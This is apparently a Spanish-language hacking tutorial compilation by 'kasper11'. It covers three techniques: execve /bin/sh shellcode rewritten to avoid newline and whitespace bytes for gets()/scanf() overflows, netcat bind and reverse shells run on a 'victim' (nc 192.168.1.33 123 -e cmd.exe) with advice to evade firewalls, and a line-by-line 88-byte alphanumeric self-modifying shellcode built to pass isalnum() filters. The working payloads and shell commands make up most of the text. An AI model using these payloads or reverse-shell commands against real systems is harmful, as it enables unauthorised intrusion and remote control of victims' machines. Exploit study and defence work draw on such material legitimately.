Shellcode sin retornos de linea

Hay veces que necesitamos tener la shellcode en una sola linea sin retornos
de carro ni nada parecido. Un caso muy claro de esto es cuando el programa
vulnerable utiliza una llamada a 'gets()' para leer el string que luego se
copiara a un buffer, etc. En este caso si la shellcode contienen un retorno
de linea el programa finalizara la ejecucion de 'gets()' y la scode quedara
a medias, siendo obvio que cuando se ejecute no funcionara correctamente..

En otras ocasiones, aun teniendo una scode sin retornos de linea no es
suficiente. Me estoy refiriendo a cuando el programa vulnerable lee los datos
con una llamada a 'scanf()'. Como todos sabemos, scanf solo lee hasta que se
encuentra un retorno de linea o un espacio en blaco. Resumiendo, necesitamos
una shellcode que no contenga ni retornos de linea ni espacios en blanco. La
lista de caracteres que no debe tener es la siguiente:

 . Retornos de linea:

   + '\f', 0x0c, salto de pagina.
   + '\n', 0x0a, salto de linea.
   + '\r', 0x0d, salto de carro.
   + '\v', 0x0b, tabulacion vertical.

 . Espacios:

   + '\b', 0x08, espacio atras.
   + '\t', 0x09, tabulacion horizontal.
   + '  ', 0x20, espacio en blanco.

Normalmente la tipica shellcode que ejecuta una shell contiene 2 saltos de
linea, 1 tabulacion vertical y 2 espacios atras. La solucion consiste en
cambiar las instruccion conflictivas por otras cuyos 'opcodes' no tengan esos
valores. La instrucciones en cuestion son las siguientes (estan sacadas de
un codigo mas o menos standard de un execve /bin/sh):

+ mov    %eax,0xc(%esi)   -->  1 salto de linea
+ lea    0xc(%esi),%edx   -->  1 salto de linea
+ mov    $0xb,%al         -->  1 tabulacion vertical
+ mov    %esi,0x8(%esi)   -->  1 espacio atras
+ lea    0x8(%esi),%ecx   -->  1 espacio atras

Pues bien, se cambian esas instrucciones por otras que consigan el mismo
resultado y ya esta.. El codigo cambiado seria algo asi:

<-- codigo -->

__asm__("
        jmp   0x19
        popl  %edi
        movl  %edi,0x10(%edi)
        xorl  %edx,%edx
        movb  %dl,0x7(%edi)
        movl  %edx,0x14(%edi)
        movl  %edi,%ebx
        leal  0x50(%edx),%eax
        leal  0x10(%edi),%ecx
        subl  $0x45,%eax
        int   $0x80
        call  -0x1e
        .string \"/bin/sh\"
");

<-- fin codigo -->

Simplemente se ha cambiado el registro %esi por %edi, el metodo de poner %eax
a 0xb y poco mas. Y nada.. ya esta la shellcode lista para ser usada.. ;).

by:kasper11

Pasando el codigo a un string

La forma de utilizarlo es la sencilla. La estructura del programa en C con el
codigo de la scode tiene que tener un estilo de este tipo:

<-- codigo -->

#include ..tal..
#include <scodes.h>

void shellcode()
 {
 __asm__("
  codigo de la shellcode
  .byte 0x00
  ");
 }

main()
 {
 printsc((int)shellcode);
 }

<-- fin codigo --> 

La funcion printsc() esta declarada en el fichero scodes.h que se incluye al
final de este articulo (apartado recopilacion). La forma de llamar a dicha
funcion es la siguiente:

  printsc((int)dire_funcion_scode);

Resumiendo, se mete el codigo de la shellcode en una funcion que solo
contenga un __asm__() con el code terminado de un null (.byte 0x00). Esto
ultimo es importante ya que sino lo ponemos la scode sera mas larga de lo que
deberia (se pasara al string el codigo del __asm__ y lo que haya a
continuacion), por lo tanto hay que poner el .byte 0x00 para diferenciar cual
es el final de nuestro codigo. El file scodes.h se copia a /usr/includes y se
incluye en nuestro prog con #include <scodes.h>.

La scode se muestra por pantalla ordenada y esop, luego solo es cuestion de
cut & paste ;).

obtener la shell

Conseguir Shell en Netcat

Conseguir Shell en Netcat
BY:KASPER11
Hay dos maneras de conseguir shell por conexión directa o inversa, mostraré las dos pero os aconsejo que useis la inversa ya que os saltais unos cuantos firewalls

Conexión Directa

En este tipo de conexión tú te conectas a la victima, el funcionamiento sería el siguiente:

Código:

nc -l -p 123 -e cmd.exe

[+]-l:Activa el modo escucha de nc
[+]-P: Permite a nc elejir el puerto
[+]-e: Permite ejecutar un comando, en nuestro caso cmd.exe (Shell)

Ese sería el comando que tendría que ejecutar la víctima

Código:

Telnet 192.168.1.33 123

Y ahi es donde nosotros nos tendríamos que conectar, entonces ya tendriamos Shell :P

Inversa

Código:

nc -v -l -p 123

[+]-v: Informa del estado de Netcat
[+]-l:Activa el modo escucha de nc
[+]-P: Permite a nc elejir el puerto

Esos serían los comandos que tenemos que teclear, mientras que nuestra víctima tiene que ejcutar los siguientes comandos

Código:

nc 192.168.1.33 123 -e cmd.exe

Con lo que la Shell la consigue el usuario que esta en escucha en este caso nosotros, y asi tenemos shell y evitamos que no salte el firewall de nuestra victima :P

Esto es todo, espero que os haya gustado el tutorial  saludos¡¡¡¡

Shellcode alfanumerica

Hay algunas veces que necesitamos una scode que solo contenga valores
alfanumericos una vez 'printeada', es decir solamente letras (mayusculas,
minisculas, y numeros). Un caso muy tipico podria ser un programa 'xplotable'
donde no tuvieramos sitio para poner la scode, a excepcion de una funcion
donde tenemos sitio pero que hace chequeo de valores alfanumeros por medio de
la funcion isalnum().

La solucion obvia pasa por tener un codigo que ejecute una shell (o cualquier
otra cosa de la que saquemos provecho), y que sea capaz de pasar por un
chequeo de isalnum(). En este caso particular veremos una sc que ejecuta un
execve() de /bin/sh, pero se pueden hacer mas cosas.

Para conseguir un codigo que no tenga ningun opcode (opcode es el valor en
hexadecimal de cada intruccion en asm) no printeable, tendremos que recurrir
a ciertas artimañanas.. Para empezar la mayoria de instrucciones como xorl
%eax,%eax, movl %eax,%edx no se podran usar, asi que hay que usar
otras. Bueno, lo mejor sera que pegue la scode y vaya comentandola brevemente
linea por linea :).

Tengo que decir que el metodo de los nops alfanumericos lo ha desarrollado
Fatuo (Fuego Fatuo - leonardo@hispasecurity.com), aparte de alguna que otra
scode alfanumerica tambien.

Dicho metodo consiste en sobreescribir %ebp con la direccion de retorno
(normalmente casi siempre se sobreescribe en los stack overflow normales), y
luego en vez de poner nops poner 'incl %ebp' -> caracter 'E'. De esta forma
se calcula la direccion de retorno exacta donde terminan los 'nops' y empieza
la shellcode. Dicha direccion hay que saberla exacta por el tema de
automodificacion de codigo que se vera mas adelante. Tambien hay otro metodo
un poco mas burro con el cual no hace falta sobreescribir %ebp, pero tiene
ciertas limitaciones como el numero de nops a poner y el tamaño. Yo tenia
desarrollada una sc con ese metodo que admitia 200 nops y tenia un tamaño de
392 bytes creo q eran.. pero hay que reconocer que mola mas este metodo asi
que hice una scode optimizada y se kedo en 88 bytes :).

Para copiar un registro a otro, al no poder usar mov's, tendremos que
hacerlo con xor's. La teoria es que si tenemos 2 valores, pongamos A y B,
haciendo lo siguiente quedaria tal que asi:

A xor B = C    (C es el resultado)
C xor A = B
C xor B = A

Veamoslo con numeros:

5 xor 2 = 7
7 xor 5 = 2
7 xor 2 = 5

Por lo tanto, si queremos copiar %eax a %edi, usaremos una memoria intermedia
que sepamos que no contiene codigo de la scode, de la siguiente forma:

xorl 0x60(%ebp) , %eax 
xorl %eax , 0x60(%ebp)   -> aqui hemos copiado %eax a la dire 0x60(%ebp)
xorl %edi , 0x60(%ebp)
xorl 0x60(%ebp) , %edi   -> ya tenemos %eax en %edi

Bueno, y ahora ya empecemos con la scode :)..

+ <dec   %esp>
. Decrementa en 1 unidad %esp.

+ <dec   %esp>
. Idem.

+ <dec   %esp>
. Idem.

+ <dec   %esp>
. Idem XD. Restamos 4 a %esp en total.

+ <popl  %eax>
. Salvamos la direccion de retorno de la funcion anterior en %eax.

+ <xorl  0x58(%ebp),%eax>
. Vamos a utilizar una direccion intermedia para copiar %eax a %esp.

+ <xorl  %eax,0x58(%ebp)>
. Ya tenemos %eax en la dire %ebp+0x58.

+ <xorl  %esp,0x58(%ebp)>
. Primer paso para copiar el contenido de %ebp+58 a %esp.

+ <xorl  0x58(%ebp),%esp>
. Ya tenemos copiado %ebp+0x58 (%eax) en %esp. Esto se hace para que no
sobreescribamos la propia shellcode cuando mas tarde hagamos unos cuantos
push's. De esta forma los push's siempre iran 'por encima' de la scode y no
habra peligro de sobreescribir nada importante.

+ <push  $0x45>
. Guardamos el valor 0x00000045 en la pila.

+ <popl  %eax>
. Ponemos %eax a 0x00000045

+ <xorb  $0x45,%al>
. Ponemos %eax a cero (0x00000000)

+ <pushl %eax>
. Ponemos un long null en la pila

+ <push  $0x68736538>
. Guardamos lo q sera parte del string '/bin/sh'

+ <popl  %eax>
. Recuperamos en %eax lo q sera parte del string '/bin/sh'

+ <xorw  $0x4a56,%ax>
. Modificamos el contenido de %ax para conseguir el string

+ <pushl %eax>
. Lo colocamos en la pila (recordemos que detras hay un long null)

+ <pushl $0x69626565>
. Segunda parte de lo que sera el string '/bin/sh'

+ <popl  %eax>
. Lo recuperamos en %eax (idem que antes)

+ <xorw  $0x4a4a,%ax>
. Lo modificamos con un xor (idem de idem)

+ <pushl %eax>
. Lo ponemos en la pila. Ahora tenemos en memoria //bin/sh0x00000000

+ <push  %esp>
. Salvamos la direccion del string

+ <popl  %ecx>
. Recuperamos la direccion del string en %ecx

+ <push  $0x59>
. Primera parte del procedimiento para poner %eax a cero

+ <popl  %eax>
. Guardamos 0x00000059 en %eax

+ <xorb  $0x59,%al>
. %eax = long null

+ <push  %eax>
. Ponemos un long null en la pila

+ <push  %ecx>
. Ponemos la dire del string en la pila

+ <push  %esp>
. Ponemos la dire del array (dire_string,null) en la pila (*argv[])

+ <push  %eax>
. Guardamos un long null en la pila

+ <push  %ebp>
. Guardamos la direccion del principio de la shellcode en la pila. Recordemos
que %ebp teoricamente contiene la dire exacta de la shellcode, ya que
sobreescribimos %ebp con la dire de retorno en el xploit, y fuimos
incrementandolo con los nops.

+ <popl  %eax>
. Recupera la direccion de la shellcode en %eax.

+ <xorl  0x58(%eax),%ecx>
. Procedimiento para mover %ecx a %ebx usando una direccion intermedia, %ecx
contiene la direccion del string '/bin/sh'.

+ <xorl  %ecx,0x58(%eax)>
. Con esto coloca %ecx en la direccion %eax+0x58 (direccion que no contiene
codigo de la scode, por lo tanto no nos importa lo que sobreescribamos).

+ <xorl  %ebx,0x58(%eax)>
. Procedimiento igual pero ahora con %ebx.

+ <xorl  0x58(%eax),%ebx>
. Copiamos el contenido de la dire %eax+0x58 a %ebx. Es decir, ya tenemos
%ecx en %ebx (la dire del string).

+ <popl  %edx>
. Recupera un long null en %edx que habiamos guardao hace mil años XD.

+ <popl  %ecx>
. Recupera la direccion del array *argv[] en %ecx que tambien habiamos
guardao hace mil años.

+ <dec   %edx>
. Decremante %edx, ahora vale 0xffffffff

+ <xorw  %dx,0x56(%ebp)>
. Procedimiento de automodificacion de codigo. Con esto conseguiremos cambiar
el byte 0x32 que esta mas abajo en memoria (dire %ebp+0x56 para ser
exactos) por 0xcd (primer byte de int $0x80). Y dejamos preparado el byte
0x47 para convertirlo con un segundo xor en 0x80.

+ <inc   %edx>
. Volvemos a poner %edx a cero.

+ <push  $0x38>
. Ponemos el byte 0x38 en la pila.

+ <popl  %eax>
. %eax = 0x00000038

+ <xorb  %al,0x57(%ebp)>
. Convertimos el byte que antes era 0x47 a 0x80, con lo que cuando se
ejecuten esos 2 bytes se ejecutara int $0x80. Hemos convertido los bytes 0x32
y 0x47 en 0xcd y 0x80 (opcodes de int $0x80).

+ <xorb  $0x33,%al>
. Ponemos %al a 0x0b (0x38 xor 0x33 = 0xb).

+ <.byte 0x32>
. Byte que sera/ha sido convertido a 0xcd

+ <.byte 0x47>
. Byte que sera/ha sido convertido a 0x80.

Y ya esta, a que no ha sido tan dificil? :). Con esto conseguimos una
shellcode alfanumerica totalmente funcional y que permite nops infinitos,
con un tamaño de 88 bytes.